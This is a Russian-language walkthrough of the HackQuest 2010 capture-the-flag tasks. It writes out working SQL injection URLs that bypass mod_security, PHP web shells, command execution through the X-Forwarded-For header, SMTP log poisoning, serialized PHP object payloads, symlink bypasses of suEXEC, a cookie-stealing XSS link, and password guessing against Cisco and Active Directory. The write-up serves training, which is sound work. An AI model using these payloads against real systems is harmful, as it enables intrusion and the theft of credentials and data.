14.03.2011

Полное руководство по HackQuest 2010

В данной публикации описано прохождение большинства этапов HackQuest 2010, который проходил в конце августа на фестивале Chaos Constructions 2010, а затем в урезанном формате был доступен в online-режиме в конце 2010 года на площадке портала SecurityLab.

В данной публикации описано прохождение большинства этапов HackQuest 2010, который проходил в конце августа на фестивале Chaos Constructions 2010, а затем в урезанном формате был доступен в online-режиме в конце 2010 года на площадке портала SecurityLab.

Введение

HackQuest 2010 — это открытые соревнования по защите информации, сутью которых является выполнение ряда разнообразных заданий связанных с информационной безопасностью: web hacking, social engineering, reverse engineering и т.п. Участникам предоставляется полная свобода выбора способов прохождения заданий. Для захвата одного «ключа» (флага) необходимо воспользоваться несколькими реальными уязвимостями в самых настоящих (продуктивных) системах. Таким образом, участники конкурса могут почувствовать себя настоящими взломщиками :)

По результатам проведенных соревнований было выяснено, что для большинства участников многие задания соревнований показались довольно сложными. Предлагаемый в данной публикации материал является полным руководством по прохождению большей части заданий, предложенных на HackQuest 2010.

Задание #1: Классика

Предварительное сканирование сети позволяет обнаружить веб-сайт турагенства «Хаос». В разделе поиска данного сайта по сообщению об ошибке, выдаваемому базой данных MySQL, можно найти уязвимость типа «Внедрение операторов SQL» (insert-based).


Стоит добавить, что сайт защищен mod_security со стандартными правилами. Уязвимый SQL-запрос имеет вид:

$query = "INSERT INTO indexes (text,source) value ('".$_GET['text']."',".$_GET['action'].")";

Таким образом, запрос для проведения атаки может выглядеть так:

http://172.16.0.2/search.php?action=0&text=1'/*!%2b(select+1+from(select+count(*),concat((select+user()+from+information_schema.tables+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)*/,0)--+

Приведенный выше запрос отобразит идентификатор пользователя, от имени которого веб-приложение взаимодействует с базой данных. Как это работает?

  1. Используется конструкция /*!...sql-код…*/, которая позволяет выполнять «SQL-код» в обход стандартных правил всех версий mod_security (включая последние версии, см. http://devteev.blogspot.com/2009/10/sql-injection-waf.html).
  2. Используется символ «+» (%2b) для работы со строками (подробнее см. https://rdot.org/forum/showthread.php?t=60).
  3. Используется универсальный способ проброса полезной нагрузки в сообщении об ошибке (см. http://qwazar.ru/?p=7): select 1 from(select count(*),concat((select user()),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a
  4. SQL-запрос приводится к синтаксически корректному виду путем добавления конструкции «,0)», а все лишнее обрезается с использованием двух символов тире. Для того чтобы удалось обрезать конец добавляемого SQL запроса, используется пробельный символ «+» (в HTTP GET-запросе этот символ является эквивалентом пробелу).


Развивая вектор атаки, требуется получить полезные данные из базы данных. Для MySQL 5.x это довольно просто сделать, т.к. в этой версии присутствует база information_schema, которая содержит всю необходимую информацию о структуре СУБД. Таким образом, атака с использованием уязвимости SQL Injection сводится к типовому набору запросов.

http://172.16.0.2/search.php?action=0&text=1'/*!%2b(select+1+from(select+count(*),concat((select+table_name+from+information_schema.tables+where+table_schema!='information_schema'+and+table_schema!='mysql'+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)*/,0)--+

И на выходе – таблица «admins».

http://172.16.0.2/search.php?action=0&text=1'/*!%2b(select+1+from(select+count(*),concat((select+column_name+from+information_schema.columns+where+table_name='admins'+limit+1,1),0x3a,floor(rand(0)*2))x+from+information_schema.columns+group+by+x)a)*/,0)--+
http://172.16.0.2/search.php?action=0&text=1'/*!%2b(select+1+from(select+count(*),concat((select+column_name+from+information_schema.columns+where+table_name='admins'+limit+2,1),0x3a,floor(rand(0)*2))x+from+information_schema.columns+group+by+x)a)*/,0)--+

И на выходе – имена колонок «login» и «password» в таблице «admins».

http://172.16.0.2/search.php?action=0&text=1'/*!%2b(select+1+from(select+count(*),concat((select+concat_ws(0x3a,login,password)+from+admins+limit+0,1),0x3a,floor(rand(0)*2))x+from+admins+group+by+x)a)*/,0)--+

И на выходе – данные из таблицы «admins» (имя пользователя и MD5-хэш пароля).

После получения MD5-хэша, требуется восстановить пароль. Самый простой способ –воспользоваться бесплатными сервисами по восстановлению MD5-хэшей по «радужным таблицам» (например, http://www.xmd5.org).

Получив имя пользователя и пароль, самое время использовать их в каком-нибудь интерфейсе :) Обнаружить подходящий интерфейс можно в файле «robots.txt», расположенном в корневом каталоге веб-сервера. После получения доступа в админку возникает сообщение об ошибке, по которой легко определяется уязвимость класса Remote File Including (RFI). Эксплуатация подобных уязвимостей является довольно тривиальной задачей и сводится к тому, чтобы заставить атакуемое приложение запросить файл с сервера атакующего. Атакующий в этом сценарии подготавливает файл, содержащий код на языке PHP. Пример самого простого кода, позволяющего выполнять команды операционной системы: <?php passthru($_REQUEST['c']);?>


После получения возможности выполнения команд ОС требуется скопировать закрытый RSA-ключ одного из пользователей системы. Используя полученный RSA-ключ можно реализовать доступ к системе по протоколу SSH, а затем получить доступ к долгожданному «флагу».
Именно за последовательность SQLi->RFI->RSA задание и получило кодовое имя «Классика».

Задание #2: Не классика

На этапе исследования сети, аналогично предыдущему приложению, можно обнаружить некое веб-приложение, связанное с SMS-сервисами. Беглый анализ приложения позволяет обнаружить уязвимость типа «Внедрение операторов SQL» (selection-based) в базе данных PostgreSQL:
http://172.16.0.4/index.php?r=recovery&name=1&email=1&status=cast(version()+as+numeric)

Приведенный запрос выведет версию используемой базы данных в сообщении об ошибке. Это работает, т.к., во-первых, приложение возвращает сообщение об ошибке СУБД пользователю, а во-вторых, используется приведение строкового типа к числовому. Используя базу information_schema ( эквивалентно MySQL 5.x), можно легко и быстро восстановить структуру СУБД.

http://172.16.0.4/index.php?r=recovery&name=1&email=1&status=1;select(select+table_name+from+information_schema.tables+limit+1+offset+0)::text::int--
http://172.16.0.4/index.php?r=recovery&name=1&email=1&status=1;select(select+table_name+from+information_schema.tables+limit+1+offset+105)::text::int--
На выходе – таблица «vsmsusers».

http://172.16.0.4/index.php?r=recovery&name=1&email=1&status=1;select+(select+column_name+from+information_schema.columns+where+table_name=chr(118)||chr(115)||chr(109)||chr(115)||chr(117)||chr(115)||chr(101)||chr(114)||chr(115)+limit+1+offset+1)::text::int--

На выходе – имена колонок «login» и «password» в таблице «vsmsusers».

Следуя подсказке, что в системе зарегистрирован миллионный пользователь, которого ждет специальное вознаграждение, требуется получить доступ именно к его учетной записи (примечательно, что участники старательно не замечали эту подсказку и сливали всю таблицу пользователей или пытались создать этого «козырного» миллионного пользователя). Получив доступ в интерфейс «счастливчика», можно заметить новый интерфейс, в котором содержится уязвимость типа File Including (вернее  Local File Including/LFI). Сложность эксплуатации уязвимости заключается в том, что происходит проверка длины поступающего запроса, и, если он не равен 16-ти символам, то он не попадает в функцию include(). Для выполнения команд ОС следует использовать самый короткий PHP веб-шелл (см. http://raz0r.name/releases/mega-reliz-samyj-korotkij-shell/):

http://172.16.0.4/index.php?u=LV89284&p=data:,<?=@`$c`?>&c=ls

Как это работает?

Использование stream wrappers («data» появился в PHP с версии 5.2.0)

  1. short_open_tag и register_globals в состоянии «ON»
  2. <?= ?> эквивалентно <? echo ?>;
  3. Использование обратных кавычек эквивалентно использованию shell_exec()


Получив возможность выполнять команды на сервере, требуется получить список пользователей системы (/etc/passwd), а затем, используя любой инструментарий подбора пароля к сервису Telnet (например, THC-Hydra, Medusa, ncrack), нужно осуществить подбор используемых пользователями системы паролей. Метод перебора позволяет выявить пользователя, у которого установлен пароль, совпадающий с его идентификатором. Доступ по протоколу Telnet с привилегиями этого пользователя дает возможность получить содержимое очередного «флага».

Задание #3: Самописный веб-сервер

Довольно простую уязвимость можно отыскать на веб-сервере, который светил своей мордочкой задание с крякмисом. Это одно из самых простых заданий HackQuest 2010, в котором требуется обнаружить уязвимость типа «Выход за корневой каталог веб-сервера» (path traversal). Указанную уязвимость легко можно обнаружить автоматизированным путем с использованием соответствующих инструментов (поэтому очень настораживают конечные результаты online-соревнований http://www.securitylab.ru/hq2010/list.php). Для эксплуатации уязвимости требуется лишь отправить следующего вида запрос к веб-серверу: «GET /../../../root/.history HTTP/1.1». Получив содержимое истории вводимых администратором команд, можно легко получить очередной «флаг», используя «консольную магию».

Задание #4: Доска объявлений

В игровой сети располагается веб-приложение, которое эмулирует работу электронной доски объявлений. Получив доступ к исходному коду приложения (для этого нужно обратиться к index.bak), можно восстановить всю логику работы приложения, которая заключается в следующем: если пользователь пытается отправить более одного сообщения в течение одной минуты, то его IP-адрес добавляется в черный список (файл blacklist.php). Уязвимость заключается в том, что приложение проверяет переменную окружения веб-сервера HTTP_X_FORWARDED_FOR, и, если указанная переменная установлена, то вместо IP-адреса в черный список попадает содержимое заголовка браузера X-Forwarded-For без какой-либо проверки (идея была позаимствована у приложения CuteNews).


Эксплуатация уязвимости сводится к установке в качестве заголовка X-Forwarded-For  что-то вроде этого: ';?><?eval($_GET['cmd']);?><?$a='. После получения возможности выполнения команд на сервере и прочтения истории команд, вводимых администратором, можно понять, где спрятан заветный «ключ».

Задание #5: Cross-Site Scripting

Когда речь заходит про атаки вида XSS (предполагается, что ты понимаешь, что эти три буквы значат ;), то многие вспоминают про обычные отражённые и хранимые XSS, и лишь иногда – ещё и про так называемые DOM-based XSS (см. http://www.owasp.org/index.php/DOM_Based_XSS). А ведь последние известны как минимум с 2005 года, когда были описаны в статье Амита Клейна (см. http://www.webappsec.org/projects/articles/071105.shtml). Если коротко, то данный тип XSS базируется на том, что входные данные веб-приложения принимаются и используются для модификации DOM на стороне веб-браузера в контексте JavaScript-языка. Сам HTTP-ответ веб-сервера таким образом никак не изменяется! Классический пример данной уязвимости приведён ниже:

Select your language:
<select><script>
document.write("<OPTION value=1>"+document.location.href.substring(document.location.href.indexOf("default=")+8)+"</OPTION>");
document.write("<OPTION value=2>English</OPTION>");
</script></select>

Эксплуатация представляет собой передачу JavaScript-нагрузки в параметре default следующим образом:

http://www.some.site/page.html#default=<script>alert(document.cookie)</script>

Всё было бы просто и легко, но современные веб-браузеры решили обезопасить пользователей, и параметры адреса передаются в JavaScript-контекст в URL-закодированном виде, добавляя проблем атакующему и делая эксплуатацию не такой тривиальной. К сожалению, такая защита не является достаточным средством, потому что вариантов использования параметров адреса довольно много, и они вовсе не ограничиваются приведённым выше примером. А с развитием веб-приложений (переносом всё большей части логики работы на сторону веб-браузера) этот вид Cross-Site Scripting ждёт перерождение. Но вернёмся к нашему заданию. Оно было воплощено в виде клона популярного сервиса микроблоггинга.

Открываем и изучаем HTML-код главной страницы. В самом конце замечаем уязвимый участок кода счётчика посещений:
...
                </div>
<script>
document.write(unescape('%3Cimg%20src%3D%22/img/stat.png?site='+document.location.href+'%22%3E'));
</script>
                </div>
</body>
</html>
...
Дальнейшие действия очевидны: «воруем» сессию администратора сервиса, которая, судя по всему, достаточно активно им пользуется. Для этого:

1. Регистрируем нового пользователя.
2. Отправляем администратору личное сообщение, содержащее ссылку с JavaScript-нагрузкой (например, отправка cookies на заранее приготовленный сниффер).
3. Администратор нажимает на ссылки в сообщениях, не глядя ;)
4. Заполучив его сессию, в личных сообщениях и обнаруживаем необходимый нам очередной «ключ».
5. Profit!!11

Задание #6: Хостинг

Проводя исследование игровой сети можно было наткнуться на сервер, который светил страницей по умолчанию веб-сервера Apache на 80-м порту, а также используется в качестве SMTP- и DNS-сервера. Для того чтобы понять, какие сайты обслуживает веб-сервер, требуется осуществить перенос DNS-зоны. Но какой зоны? Ответ на этот вопрос можно получить из обратной DNS-зоны, которая также обслуживается на этом сервере.

Узнаем про DNS-суффикс, используемый веб-сервером: dig @172.16.0.10 PTR 10.0.16.172.in-addr.arpa

Осуществляем перенос DNS-зоны: dig @172.16.0.10 cc10.site axfr

Далее требуется настроиться на использование этого DNS-сервера (или прописать соответствующие имена в файлик hosts). После беглого осмотра доступных сайтов можно обнаружить уязвимость типа Local File Including на сайте Василия Пупкина. Для ее эксплуатации и дальнейшего развития атаки используется SMTP-демон в качестве транспорта для проброса полезной нагрузки (см. http://www.xakep.ru/post/49508/default.asp), например, следующим образом:

telnet 172.16.0.10 25
ehlo cc10.site
mail from:any@cc10.site
rcpt to:vasya
data
<?php passthru($_GET['cmd']);?>
.
ENTER

После «шаманских» манипуляций с SMTP-демоном, становится возможным получить доступ к выполнению команд операционной системы:
http://vasya.cc10.site/index.php?file=/var/mail/vasya%00&cmd=ls -la /

Но после получения доступа к серверу, требуется совершить еще некоторые действия для получения «флага», т.к. на веб-сервере Apache используется модуль SuEXEC, который разграничивает доступ к соседним сайтам на сервере. Для обхода указанных ограничений нужно использовать символические ссылки (см. http://www.kernelpanik.org/docs/kernelpanik/suexec.en.pdf). Это возможно только по причине того, что в конфигурации веб-сервера используется директива «AllowOverride All».

Дальнейшая атака сводится к выполнению следующих запросов:

  1. Включение возможности использования символических ссылок путем переопределения настроек каталога сайта vasya.cc10.site

echo Options +FollowSymLinks > /usr/local/www/data/vasya/.htaccess

  1. Осуществление доступа к каталогу сайта, содержащему игровой «флаг»

ln -s /usr/local/www/data/root/.htaccess /usr/local/www/data/vasya/test.txt

  1. Осуществление доступа к файлу, содержащему данные для аутентификации на сайте r00t.cc10.site

ln -s /usr/local/www/data/root/.htpasswd_new /usr/local/www/data/vasya/passwd.txt

  1. Расшифровка полученного MD5-хэша (например, с использованием PasswordsPro или John the Ripper)
  2. Доступ к содержимому сайта r00t.cc10.site и получение игрового «ключа».

Задание #7: «Мутный» веб

На просторах игровой сети можно найти веб-приложение, которое требует пройти аутентификацию пользователя, но при этом никаких уязвимостей сразу в обнаружить не удается. Сложность первого этапа этого задания заключалось в переборе «спрятанных» за Mod_rewrite поступающих в приложение параметров. Это не должно было вызвать сложностей у «джедаев», которые ознакомились с публикацией «Фаззинг сайта, защищенного mod_rewrite» (см. http://www.securitylab.ru/analytics/399778.php). Используя предлагаемый в статье сценарий перебора параметров (http://www.ptsecurity.ru/download/modrewrite_search.zip), можно за считанные секунды восстановить реальную структуру веб-приложения.

Подобранный параметр «pag» подвержен классической уязвимости типа «Слепое внедрение операторов SQL». Сложность при ее эксплуатации могла возникнуть только у тех участников соревнования, которые используют Mozila Firefox 3.x (as is), т.к. в этой ветке браузера происходит перевод передаваемых данных в url-encoded эквиваленты.

Стоит добавить, что для проведения атаки с использованием слепого метода внедрения операторов SQL требуется подобрать имена колонок в таблице СУБД (причина – отсутствие базы information_schema в MySQL 4.x). В конечном счете, участники соревнования могут получить идентификатор пользователя системы и MD5-хэш от используемого пароля, который легко поддается восстановлению с использованием «радужных таблиц».

Таким образом, доступ в интерфейс приложения позволяет осуществить доступ к резервной копии приложения. Следовательно, на данном этапе анализ веб-приложения из черного-ящика переходит в «серый».

Внимательный участник на этом этапе должен обратить внимание на конструкцию:

RewriteRule ^([0-9]*)\.php ./index.php?pag=$1 [L,QSA]

содержащуюся в файле .htaccess. Вспомнив про HTTP Parameter Pollution (см. http://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf), доступ к игровому «ключу» можно осуществить с использованием следующего запроса:

http://172.16.0.6/1/?access=admin

Но эта история имеет продолжение. Анализируя исходный код веб-приложения, нужно обратить внимание на следующий фрагмент:
...
 echo $pages['adminka'];
            $sessid = unserialize($_COOKIE['admin_id']);
...
...
 function __destruct(){echo $this->shutdown;
                if (!empty($this->shutdown)){
                                               $var = $this->shutdown[0];
                                               $arg = $this->shutdown[1];
                                               $var($arg);
...

Ничего не напоминает? Да это же самый настоящий backdoor с использованием сериализации! Чтобы понять суть всего происходящего дальше, следует ознакомиться с материалами публикаций http://www.xakep.ru/magazine/xa/133/048/1.asp, http://www.slideshare.net/i0n1c/syscan-singapore-2010-returning-into-the-phpinterpreter, http://oxod.ru/?p=244.

В нашем задании, когда переменная cookie с именем «admin_id» содержит следующую строку:

O:8:"Database":1:{s:8:"shutdown"%3Ba:2:{i:0%3Bs:7:"phpinfo"%3Bi:1%3Bs:2:"-1"%3B}}

произойдет выполнение функции phpinfo(). Развивая атаку, аналогичным образом можно осуществить выполнение команд на сервере, например, следующим способом:

O:8:"Database":1:{s:8:"shutdown"%3Ba:2:{i:0%3Bs:8:"passthru"%3Bi:1%3Bs:8:"ls -la /"%3B}}

Далее, следуя своей интуиции, можно легко отыскать игровой «флаг».

Задание #8: Позитивный PDF

В одном из заданий HackQuest 2010 предлагается изучить позитивный pdf-файл, который обращается к веб-приложению с использованием встроенных алгоритмов шифрования. По специальным маркерам можно сделать вывод, что в pdf-файл внедрен еще и flash-объект.

Далее, по специальному маркеру нужно сделать вывод, что swf внутри pdf-файла внедрен с использованием сжатия ZLIB и, таким образом, получить «чистый» swf файл возможно, например, при помощи библиотеки zlib языка Python.

Следующим этапом является восстановление алгоритма формирования запроса к веб-приложению по полученному swf-файлу. Для этого можно воспользоваться утилитой swfdump из пакета swftools. Особое внимание следует обратить на функцию Obfuscate: именно она используется для генерации запроса к серверу.

Сам ключ, по которому выполняется шифрование, можно восстановить из следующего фрагмента кода:

00016) + 0:0        getlocal_0
00017) + 1:0        pushint                170
00018) + 2:0        pushint                42
00019) + 3:0        pushint                52
00020) + 4:0        pushint                120
00021) + 5:0        pushint                178
00022) + 6:0        pushint                249
00023) + 7:0        pushint                255
00024) + 8:0        pushint                228
00025) + 9:0        pushint                80
00026) + 10:0     pushint                32

Зная ключ и алгоритм шифрования, можно генерировать произвольные запросы к веб-приложению. Чтобы получить игровой «флаг», требуется сформировать запрос к веб-приложению с использованием простейшей техники эксплуатации уязвимости «Внедрение операторов SQL».

Задание #9: Креативный PDF

По мотивам нашумевшей истории, раскрытой в рассылке Full-Disclosure:
http://seclists.org/fulldisclosure/2009/Nov/240

появилась идея положить куда-нибудь в игровую сеть pdf-документ, в мета-информации которого содержится прямой путь с игровым «флагом».

При реализации задания все было выполнено натурально, как поступила бы опытная секретарша:
1. Скачена триальная-версия Adobe Livecycle Designer
2. Создан каталог D:\CC10\flag\CC10_ABCDEFGHIJKLMNOLP
3. Создан новый документ из Livecycle Designer, на единственной странице которого появилась зазывающая надпись "The flag is there".
4. Затем файл был сохранен в созданном каталоге.

Чтобы проверить задание, оставалось только разобрать мета-информацию в документе. Для начала в ход пошли базовые средства Adobe Reader. Эксперимент показал, что скрываемый «флаг» не просвечивается. Иначе участникам пришлось бы совсем легко, а цель была - сделать задание на смекалку.

Затем было решено пройти получившееся задание, чтобы не подложить участникам свинью с невыполнимым заданием. Самым простым методом можно считать разбор документа какой-нибудь бесплатной библиотекой (например, iText
(http://sourceforge.net/projects/itext/files/) под Java).

Была написана следующая функция:
                public static boolean getAllDataFromPdfToFile(String src,
                                               String dest) {
                               try {
                                               PdfReader reader = new PdfReader(src);
                                               XfaForm xfa = new XfaForm(reader);
                                               Document doc = xfa.getDomDocument();
                                               Transformer tf = TransformerFactory.newInstance().newTransformer();
                                               tf.setOutputProperty(OutputKeys.ENCODING, "UTF-8");
                                               tf.setOutputProperty(OutputKeys.INDENT, "yes");
                                               FileOutputStream os = new FileOutputStream(dest);
                                               tf.transform(new DOMSource(doc), new StreamResult(os));
                                               reader.close();
                                               return true;
                               } catch (Exception e) {
                                               e.printStackTrace();
                                               return false;
                               }
                }

Приведенная выше функция отлично работала, путь с флагом светился даже не в одном, а в трех тэгах. Как можно заметить, ничего экстра сложного :) Гораздо сложнее было найти эту «заряженную» pdf’ку…

Задание #10: Стеганография

Стеганогра́фия — это наука о скрытой передаче информации путём сохранения в тайне самого факта передачи. В отличие от криптографии, которая скрывает содержимое секретного сообщения, стеганография скрывает само его существование. В цифровом мире в качестве контейнера для скрываемой информации обычно используют мультимедиа-объекты (изображения, видео, аудио, текстуры 3D-объектов) с внесенными искажениями, которые находятся ниже порога чувствительности среднестатистического человека и не приводят к заметным изменениям этих объектов. Но, как можно догадаться, контейнером может выступить и не только мультимедиа-файл. В нашем случае в роли контейнера выступал HTML-код. Дело в том, что веб-браузер при отображении страницы игнорирует идущие подряд пробельные символы (если они не заданы как HTML-мнемоники), таким образом, два и более пробелов показываются как один. Тоже самое относится и к символам табуляции и переноса строк. Это был краткий экскурс в теорию.

Само задание представляет собой HTML-страницу с Манифестом хакера (стыд и позор тебе %username%, если ты не читал это послание Ментора), которое можно отыскать в игровой сети. Предполагая всю трудность раскрытия специфики задания, в HTML-коде была заботливо оставлена подсказка, указывающая на то, что пробелы в коде могут выполнять не только роль разделения слов в предложениях. Внимательный участник может обнаружить, что слова в тексте разделены не везде одинаково.

Если говорить более конкретно, то один пробел представляет собой не что иное, как «0», а двойной пробел - «1». Иными словами, речь идёт про один бит информации. 8 бит есть один байт и одновременно код символа в ASCII-таблице. Ограничителем сообщения выступает последовательность пробел+символ табуляции. Задание было осложнено именно пониманием того, что это не просто очередная попытка пропаганды хакинга и что эта обычная статичная HTML-страница и есть задание, из которого и надо добыть заветный «ключ».

Задание #11: CrackMe LUA

Целью подготовки этого задания было, прежде всего, создание простого крякмиса, который смог бы решить человек, не имеющий большого опыта в реверсинге. Стоит сразу отметить, что эта цель не была достигнута полностью. По отзывам участников, многие не смогли даже запустить программу, во всяком случае, команда RDOT.ORG, которая выполнила это задание, саму программу не запускала ;) Итак, по порядку.

За основу был взят код на скриптовом языке Lua, который принимает из консоли один единственный параметр - ключ. Если ключ не подходит в результате проверки, то выдается сообщение об ошибке, иначе - строка 1337.

Код проверки ключа был написан неудачно. Сначала пара совпадений подстроки, типа префикс «CC10_», затем еще пара байт из самого флага. Потом от всего ключа считается контрольная сумма и сравнивается с константой.

Естественно, что решение неоднозначно. Но в целом, если ограничивать символы ключа-флага только ASCII, с виду получалось не так уж и много. Система принимала только один ответ, соответственно, пришлось немного побрутать сценарий приема флагов ;) Теперь о том, где же был подвох... А подвох был в том, что крякмис собран под самой последней версией интерпретатора - 5.2, которая не входит в пакеты обновлений и доступна только на сайте. Естественно, такой байт-код не работает под самой распространенной версией Lua 5.1. Предполагалось, что участники проявят смекалку и найдут версию интерпретатора, которая корректно запустит байт-код (учитывая, что их было выпущено всего 13: www.lua.org/versions.html).

Собственно, многое было сделано под версию 5.1. В том числе, существует и общедоступный декомпилятор, который, конечно же, вылетает на коде от более старшей версии. Многое из алгоритма можно понять, просто читая файл в hex-редакторе. Вот, собственно и все задание :)

Задание #12: CrackMe

Crackme разрабатывался изначально таким образом, чтобы при тщательном изучении человеком, который знаком с реверсингом не понаслышке, занять не более нескольких часов. Первая преграда – это достаточно простой упаковщик BeRoEXEPacker первой версии.

Подробно останавливаться на его снятии, видимо, не стоит, т.к. материала по этой теме уже достаточно, да и для ленивых полно публичных автораспаковщиков. Поэтому перейдем сразу к прохождению первого уровня, который не должен был вызвать никаких сложностей даже у людей, далеких от реверсинга, т.к. всего на всего нужно было найти незашифрованную строковую константу. Но, чтобы совсем уж просто не было, было внедрено несколько антиотладочных приемов :) К слову, оказалось неожиданностью, что прием с FindWindow будет так «выносить мозг» неподготовленным людям, а сколько людей думало, что это задание нерабочее, даже и не сосчитать.

Тем не менее, при беглом просмотре дампа распакованного файла можно заметить следующий код:

А если еще и посмотреть, откуда вызывается эта функция проверки, то сразу все становится понятно, т.к. значение для проверки приходит из CWnd::GetWindowTextW(). Ура, первый этап пройден, идем дальше.
Если любознательный исследователь посмотрит, что находится рядом с первой константой, то заметит любопытную строчку «Q0MxMFNfNzhiNmVmZDI4OWQ4YzZmYTY3MTk3N2Q3ZmYwZmVhYTA=», и у большинства людей, дошедших до этого уровня, возникает ассоциация, что это Base64, и эти люди абсолютно правы.

После декодирования получается строка CC10S_78b6efd289d8c6fa671977d7ff0feaa0, которая и открывает путь к третьему этапу.
А тут уже посложнее, но тоже проходимо. Основное окно пропадает и создаётся UDP-сокет на порту 696. В коде нетрудно найти вызов CAsyncSocket::Create(), после чего видно, что при получении данных идет их интерпретация.

По логике декомпилированного кода видно, что всего две команды имеют какой-то значимый смысл. Это keys и more, после чего запоминаем или записываем значение 7812D9E, ведь неспроста его сюда положили, и выполняем команду more. После этого участников должен заинтересовать вызов CWinThread::CreateThread(), который выполняет инжект кода, который в свою очередь берётся из секции ресурсов.

Сохраняем файлы из ресурсов и пробуем их запустить. После запуска первого файла появляется любопытное окно, из которого в принципе становится понятно, зачем нужно было запоминать константу, выводимую по команде keys.

Запускаем второй файл и получаем окно следующего содержания:

Два ключа у нас уже есть, но теперь нужна собственно зашифрованная строка. После беглого анализа становится понятно, что приложение реализовано на Visual Basic 6. Находим декомпилятор для этого языка программирования и анализируем файлы. После недолгих поисков получаем последний заветный ключ.

И в качестве бонуса предлагаем ознакомиться с вариантом прохождения этого задания, реализованным участником соревнований под псевдонимом Gerhart: https://docs.google.com/viewer?a=v&pid=explorer&chrome=true&srcid=0Bwv6HYj6-f9tZmIyYTQzYTEtYmUzOC00NTliLThmYzEtNmE4OTJmMTE2YWZi&hl=en.

Задание #13: Cisco

Помимо хонепотов, эмулирующих сетевые устройства и различные операционные системы, в игровой сети можно найти самый что ни наесть «живой» роутер на базе Cisco IOS. Сканирование TCP-портов показывает, что доступен сервис FINGER. Обратившись к этому сервису, можно получить имя зарегистрированного на устройстве пользователя. Затем достаточно проверить на порту TELNET имя этого пользователя с паролем «cisco» (стандартный пароль для оборудования Cisco). Следующий шаг заключается в поднятии уровня привилегий на устройстве. Само собой, речь не шла о 15 уровне доступа :) Но на третий уровень доступа с паролем «cisco» можно было подняться. Уже на этом этапе у пользователя хватает привилегий, чтобы просмотреть текущую конфигурацию. Используя команду:

Router#show running-config view full

можно получить конфигурацию устройства, а вместе с ней и игровой «флаг».

Задание #14: TFTP

Одно из самых простых заданий, которое можно было отыскать в игровой сети, – это задание, связанное с TFTP-сервисом. Однако, оно оказалось довольно сложным для большинства участников без каких-либо подсказок. Для решения задания требуется обнаружить доступный TFTP-сервис (69/udp) и затем подобрать имя файла, которое на нем хранилось. Как раз подбор и вызвал наибольшие сложности у участников соревнования. Имя файла, которое необходимо было подобрать, – это «router-config», стандартное имя файла, который создается при копировании конфигурации с консоли оборудования на базе Cisco IOS. Примечательно, что в словарях систем поиска уязвимостей и даже специализированных инструментах таких, как tftptheft, отсутствует заветное имя «router-config».

Если же файл был все-таки получен, то проблем с выдергиванием из него игрового «ключа» не было. «Ключ» хранится в формате паролей «secret 7» и может быть восстановлен различными инструментами (например, с использованием Cain&Abel).

Задание #15: Active Directory

Задание с Active Directory вызвало совершенно неожиданные сложности у участников соревнований. Видимо, это связано с тем, что участники больше ориентированы на решение задач, связанных с веб-безопасностью и реверсингом, но не с системами уровня предприятия.

Для решения задания с Active Directory сначала требуется подобрать пароль к идентификатору пользователя ОС Windows, что для контроллера домена в стандартной конфигурации равносильно получению доступа к каталогу LDAP. Подобрать пару логин/пароль(test/test) по протоколу SMB не является сложной задачей, и с этим справилось большинство участников соревнования. Трудности возникли на следующем шаге.

После получения доступа на чтение к каталогу Active Directory требуется изучить таблицы управления доступом (ACL). Как сказал один из участников соревнований (Jokester) в момент мозгового штурма, это позволяет установить, что «У нашей подружки Лены (EAntonova) есть приятель Стёпа (SFrolov), который имеет права как и test, но зато вписан к Лене во вкладочку Безопасность с одним единственным допуском - "сброс пароля"». А учетная запись Лены (EAntonova) в свою очередь обладает разрешением для доступа к контроллеру домена по протоколу RDP. Собрав и проанализировав эти сведения, становиться очевидно, что нужно получить доступ к учетной записи Стёпы (SFrolov), у которого, к слову, установлен пароль «12345678». Так в чем же была сложность?

Дело в том, что осуществить доступ с использованием учетной записи «SFrolov» можно только с компьютера «SFrolov-nb». Многие, кто хорошо разбирается в Active Directory (и в сетях Microsoft), увидев ограничение по доступу с определенного компьютера, могли в первую очередь подумать, что речь идет именно о доменном компьютере с этим именем. Однако это не так. В случае, когда в домене Active Directory используется подобное ограничение в отношении учетной записи, при осуществлении аутентификации к ресурсам домена происходит проверка NETBIOS-имени компьютера, с которого осуществляется доступ. Таким образом, назначив своему компьютеру имя «SFrolov-nb», можно беспрепятственно получить привилегии пользователя «SFrolov». После получения привилегий этого пользователя требуется лишь сменить пароль пользователю «EAntonova» и уже под известным паролем осуществить доступ по RDP к контроллеру домена. На рабочем столе в текстовом файле хранится игровой «флаг».

Задание #16: Использование эффекта on-site

Это задание явилось эпогеем воображения за все лето 2010 года ;) Сама идея возникла накануне 16 августа, а реализация задания затянулась до самого СС и была завершена уже после старта конкурса HackQuest 2010. Начать, пожалуй, стоит с письма, написанного накануне утром:

From: d0znpp [mailto:d0znpp@onsec.ru]
Sent: Monday, August 16, 2010 5:53 PM
To: ...
Subject: Re: социалка

Очень хорошо, когда участников несколько раз за квест выпинывают на улицу и дальше, не все же за компами сидеть.
Хакер должен уметь копаться в помойке и находить нужные документы из пачки бумажной документации интересующей организации.
Так что по координатам будет помойка с кучей бумаг ;))) Всё в лучших традициях.

 

On Mon, 16 Aug 2010 17:46:40 +0400, "Dmitry Evteev"

Для реализации задания был создан сайт некого ООО "БезопасныйСофт" (кстати, такая компания еще не зарегистрирована ;) Сайт представлял из себя полностью статичный HTML. Для реалистичности на сайт были добавлены новости, вакансии, и даже партнеры. Собственно, в одну из двух доступных на сайте вышеупомянутого ООО новостей, была помещена картинка с фотографией на тему, каким образом компания производит утилизацию своих документов, а точнее помойки, расположенной рядом со зданием, где проходил фест. Фотография была сделана штатными средствами - телефоном на базе Android с включенным GPS приемником и опцией проставления координаты в EXIF. Но как оказалась впоследствии, Питерцы знают каждую урну в своем городе так сказать "в лицо", поэтому участники разыскали ее без всяких там GPS координат. Надо заметить, что урна была выбрана действительно довольно близко к зданию проведения демо-пати. В свое же оправдание, можно отметить, что на улице, не смотря не лето, было холодно, а в радиусе 1км других приличных урн обнаружено не было. Приличных в том смысле, что также выдвигалось требование относительной чистоты мусорки, поскольку заставлять участников копаться в настоящих помоях совсем не хотелось. Оптимальным решением было найти бумажную свалку, но такой случай не подвернулся. Итак, долго ли коротко ли, почти пустая, относительно чистая урна, была доверху заполнена бумагами. Основную долю бумаг составляли распечатки чего не попадя, а также было изодрано несколько журналов Хакер, которые выдавались бесплатно на фесте…
 
